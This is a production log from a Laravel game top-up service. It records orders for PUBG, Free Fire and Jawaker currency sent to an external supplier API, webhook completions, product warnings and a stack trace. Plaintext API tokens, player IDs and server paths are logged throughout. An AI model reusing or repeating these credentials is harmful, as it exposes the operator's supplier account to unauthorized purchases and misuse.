[2026-03-24 15:37:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:37:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:37:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=3685fe9a-dbd4-47c0-a41a-6fe738798ac1&Player_ID=51817493907  
[2026-03-24 15:37:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=3685fe9a-dbd4-47c0-a41a-6fe738798ac1&Player_ID=51817493907","has_body":false} 
[2026-03-24 15:37:09] production.INFO: Operation sent successfully {"operation_id":163764,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Ayyqtz3a-1774355829","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:37:09"}},"processed_data":{"order_number":"ORD-Ayyqtz3a-1774355829","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 15:37:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Ayyqtz3a-1774355829","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:37:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-Ayyqtz3a-1774355829","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:37:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:37:18] production.INFO: SendAcceptReject: Notification queued {"user_id":1703,"notification_type":"order_approved","reference_id":178847} 
[2026-03-24 15:37:18] production.INFO: Order updated successfully. Order ID: 178847, Status: completed  
[2026-03-24 15:37:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Ayyqtz3a-1774355829","status":"completed","codes_count":0} 
[2026-03-24 15:37:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1703  
[2026-03-24 15:38:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"bnsKopifAIgFFLSyglZiBDwxVgjSp8PV","execution_time":"2026-03-24 15:38:03"} 
[2026-03-24 15:38:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"bnsKopifAIgFFLSyglZiBDwxVgjSp8PV","execution_time":"2026-03-24 15:38:03"} 
[2026-03-24 15:39:38] production.INFO: Constructing job for order: 178848  
[2026-03-24 15:39:39] production.INFO: Handling job for order: 178848  
[2026-03-24 15:39:39] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:39:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:39:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=a0d1787a-8695-4aef-b8ae-8f8b730a7115&Player_ID=1579328813  
[2026-03-24 15:39:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=a0d1787a-8695-4aef-b8ae-8f8b730a7115&Player_ID=1579328813","has_body":false} 
[2026-03-24 15:39:40] production.INFO: Operation sent successfully {"operation_id":163765,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1hfOcGm-1774355980","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 15:39:40"}},"processed_data":{"order_number":"ORD-1hfOcGm-1774355980","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 15:39:47] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-1hfOcGm-1774355980","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 15:39:47] production.INFO: Processed webhook data (normalized) {"id":"ORD-1hfOcGm-1774355980","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 15:39:47] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:39:47] production.INFO: SendAcceptReject: Notification queued {"user_id":100,"notification_type":"order_approved","reference_id":178848} 
[2026-03-24 15:39:47] production.INFO: Order updated successfully. Order ID: 178848, Status: completed  
[2026-03-24 15:39:47] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-1hfOcGm-1774355980","status":"completed","codes_count":0} 
[2026-03-24 15:39:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 100  
[2026-03-24 15:40:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"vKFtLKOanJDLlzrdjpA9okdzGm95PGon","execution_time":"2026-03-24 15:40:04"} 
[2026-03-24 15:40:04] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"vKFtLKOanJDLlzrdjpA9okdzGm95PGon","execution_time":"2026-03-24 15:40:04"} 
[2026-03-24 15:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 15:40:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 15:40:06] production.INFO: async() رجع: true  
[2026-03-24 15:40:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:40:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:40:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:40:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:40:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:40:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:40:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:40:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:40:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:40:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:40:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:41:44] production.INFO: Constructing job for order: 178849  
[2026-03-24 15:41:46] production.INFO: Handling job for order: 178849  
[2026-03-24 15:41:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:41:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:41:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=175f348c-00aa-4abe-96fb-7b26a82934f2&Player_ID=52030901106  
[2026-03-24 15:41:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=175f348c-00aa-4abe-96fb-7b26a82934f2&Player_ID=52030901106","has_body":false} 
[2026-03-24 15:41:47] production.INFO: Operation sent successfully {"operation_id":163766,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-W8EKW-1774356107","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:41:47"}},"processed_data":{"order_number":"ORD-W8EKW-1774356107","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:41:59] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-W8EKW-1774356107","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:41:59] production.INFO: Processed webhook data (normalized) {"id":"ORD-W8EKW-1774356107","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:41:59] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:41:59] production.INFO: SendAcceptReject: Notification queued {"user_id":765,"notification_type":"order_approved","reference_id":178849} 
[2026-03-24 15:41:59] production.INFO: Order updated successfully. Order ID: 178849, Status: completed  
[2026-03-24 15:41:59] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-W8EKW-1774356107","status":"completed","codes_count":0} 
[2026-03-24 15:41:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 765  
[2026-03-24 15:42:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NIXNZAohPg2IYGCeeaWL1C3xNFfcrxkw","execution_time":"2026-03-24 15:42:02"} 
[2026-03-24 15:42:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"NIXNZAohPg2IYGCeeaWL1C3xNFfcrxkw","execution_time":"2026-03-24 15:42:02"} 
[2026-03-24 15:42:33] production.INFO: Constructing job for order: 178852  
[2026-03-24 15:42:35] production.INFO: Handling job for order: 178852  
[2026-03-24 15:42:35] production.ERROR: API failed for order 178852 {"order_id":178852,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(178852, 885, 1, '4a49054a-8786-4...', '[{\"key\":\"userna...', 31, 1028)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(178852)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 15:42:35","memory_usage":57147392,"memory_peak":57147392}} 
[2026-03-24 15:42:46] production.INFO: Constructing job for order: 178853  
[2026-03-24 15:42:47] production.INFO: Handling job for order: 178853  
[2026-03-24 15:42:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:42:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:42:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=1ce349cc-c808-45a8-a8d2-0693323855ef&Player_ID=51985620558  
[2026-03-24 15:42:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=1ce349cc-c808-45a8-a8d2-0693323855ef&Player_ID=51985620558","has_body":false} 
[2026-03-24 15:42:48] production.INFO: Operation sent successfully {"operation_id":163767,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-V7KQ8-1774356168","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:42:48"}},"processed_data":{"order_number":"ORD-V7KQ8-1774356168","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 15:43:04] production.INFO: Constructing job for order: 178854  
[2026-03-24 15:43:06] production.INFO: Handling job for order: 178854  
[2026-03-24 15:43:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:43:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:43:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8908b119-3b5b-45d1-bdc2-079382bcd4aa&Player_ID=52030901106  
[2026-03-24 15:43:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8908b119-3b5b-45d1-bdc2-079382bcd4aa&Player_ID=52030901106","has_body":false} 
[2026-03-24 15:43:07] production.INFO: Operation sent successfully {"operation_id":163768,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-GlzHa9Tl-1774356187","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:43:07"}},"processed_data":{"order_number":"ORD-GlzHa9Tl-1774356187","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:43:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-V7KQ8-1774356168","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:43:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-V7KQ8-1774356168","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:43:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:43:11] production.INFO: SendAcceptReject: Notification queued {"user_id":1200,"notification_type":"order_approved","reference_id":178853} 
[2026-03-24 15:43:11] production.INFO: Order updated successfully. Order ID: 178853, Status: completed  
[2026-03-24 15:43:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-V7KQ8-1774356168","status":"completed","codes_count":0} 
[2026-03-24 15:43:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1200  
[2026-03-24 15:43:20] production.INFO: Constructing job for order: 178855  
[2026-03-24 15:43:20] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-GlzHa9Tl-1774356187","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:43:20] production.INFO: Processed webhook data (normalized) {"id":"ORD-GlzHa9Tl-1774356187","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:43:20] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:43:20] production.INFO: SendAcceptReject: Notification queued {"user_id":765,"notification_type":"order_approved","reference_id":178854} 
[2026-03-24 15:43:20] production.INFO: Order updated successfully. Order ID: 178854, Status: completed  
[2026-03-24 15:43:20] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-GlzHa9Tl-1774356187","status":"completed","codes_count":0} 
[2026-03-24 15:43:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 765  
[2026-03-24 15:43:22] production.INFO: Handling job for order: 178855  
[2026-03-24 15:43:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:43:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:43:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=ec90c377-39cb-4785-92d5-464e393a41b9&Player_ID=aloosh1234%40  
[2026-03-24 15:43:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=ec90c377-39cb-4785-92d5-464e393a41b9&Player_ID=aloosh1234%40","has_body":false} 
[2026-03-24 15:43:22] production.ERROR: ❌ Missing required field: order_number for site: swgamessd {"available_fields":["error","message",0],"required_fields":["order_number","amount","status"]} 
[2026-03-24 15:43:22] production.ERROR: 🚨 Failed to reject order on parse error {"operation_id":163769,"exception":"Unknown named parameter $userId"} 
[2026-03-24 15:44:00] production.INFO: Constructing job for order: 178856  
[2026-03-24 15:44:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"1Ri1nnU4fQHp4W1oQUALUb3d94jAhPkY","execution_time":"2026-03-24 15:44:02"} 
[2026-03-24 15:44:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"1Ri1nnU4fQHp4W1oQUALUb3d94jAhPkY","execution_time":"2026-03-24 15:44:02"} 
[2026-03-24 15:44:02] production.INFO: Handling job for order: 178856  
[2026-03-24 15:44:02] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:44:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:44:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=d1d5a1b5-7bbb-403b-932b-676ade3cb859&Player_ID=13008405685  
[2026-03-24 15:44:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=d1d5a1b5-7bbb-403b-932b-676ade3cb859&Player_ID=13008405685","has_body":false} 
[2026-03-24 15:44:03] production.INFO: Operation sent successfully {"operation_id":163770,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WOlc-1774356242","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:44:03"}},"processed_data":{"order_number":"ORD-WOlc-1774356242","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:44:04] production.INFO: Constructing job for order: 178857  
[2026-03-24 15:44:06] production.INFO: Handling job for order: 178857  
[2026-03-24 15:44:06] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:44:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:44:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/809/params?qty=1&uuid=5caf9603-7e61-4ff6-b432-99c0eb7f57a9&Player_ID=0998689578  
[2026-03-24 15:44:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/809/params?qty=1&uuid=5caf9603-7e61-4ff6-b432-99c0eb7f57a9&Player_ID=0998689578","has_body":false} 
[2026-03-24 15:44:06] production.ERROR: ❌ Missing required field: order_number for site: swgamessls {"available_fields":["error","message"],"required_fields":["order_number","amount","status"]} 
[2026-03-24 15:44:06] production.ERROR: 🚨 Failed to reject order on parse error {"operation_id":163771,"exception":"Unknown named parameter $userId"} 
[2026-03-24 15:44:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1547  
[2026-03-24 15:44:23] production.INFO: Constructing job for order: 178858  
[2026-03-24 15:44:24] production.INFO: Handling job for order: 178858  
[2026-03-24 15:44:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:44:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:44:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=2363c305-bdad-4727-b8a4-68b4ba08d306&Player_ID=52030901106  
[2026-03-24 15:44:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=2363c305-bdad-4727-b8a4-68b4ba08d306&Player_ID=52030901106","has_body":false} 
[2026-03-24 15:44:25] production.INFO: Operation sent successfully {"operation_id":163772,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jKU22-1774356265","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:44:25"}},"processed_data":{"order_number":"ORD-jKU22-1774356265","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:44:35] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-WOlc-1774356242","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:44:35] production.INFO: Processed webhook data (normalized) {"id":"ORD-WOlc-1774356242","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:44:35] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:44:35] production.INFO: SendAcceptReject: Notification queued {"user_id":1597,"notification_type":"order_approved","reference_id":178856} 
[2026-03-24 15:44:35] production.INFO: Order updated successfully. Order ID: 178856, Status: completed  
[2026-03-24 15:44:35] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-WOlc-1774356242","status":"completed","codes_count":0} 
[2026-03-24 15:44:35] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-jKU22-1774356265","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:44:35] production.INFO: Processed webhook data (normalized) {"id":"ORD-jKU22-1774356265","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:44:35] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:44:35] production.INFO: SendAcceptReject: Notification queued {"user_id":765,"notification_type":"order_approved","reference_id":178858} 
[2026-03-24 15:44:35] production.INFO: Order updated successfully. Order ID: 178858, Status: completed  
[2026-03-24 15:44:35] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-jKU22-1774356265","status":"completed","codes_count":0} 
[2026-03-24 15:44:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 765  
[2026-03-24 15:44:57] production.INFO: Constructing job for order: 178859  
[2026-03-24 15:44:59] production.INFO: Handling job for order: 178859  
[2026-03-24 15:44:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:44:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:44:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=3b29f98e-680d-450e-a362-94de1990ffb3&Player_ID=5507947538  
[2026-03-24 15:44:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=3b29f98e-680d-450e-a362-94de1990ffb3&Player_ID=5507947538","has_body":false} 
[2026-03-24 15:45:00] production.INFO: Operation sent successfully {"operation_id":163773,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wFxKj-1774356299","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:45:00"}},"processed_data":{"order_number":"ORD-wFxKj-1774356299","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 15:45:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 15:45:05] production.INFO: async() رجع: true  
[2026-03-24 15:45:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:45:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:45:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:45:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:45:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:45:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:45:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:45:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:45:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:45:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:45:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:45:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-wFxKj-1774356299","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:45:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-wFxKj-1774356299","status":"completed","codes":[],"notes":["__"]} 
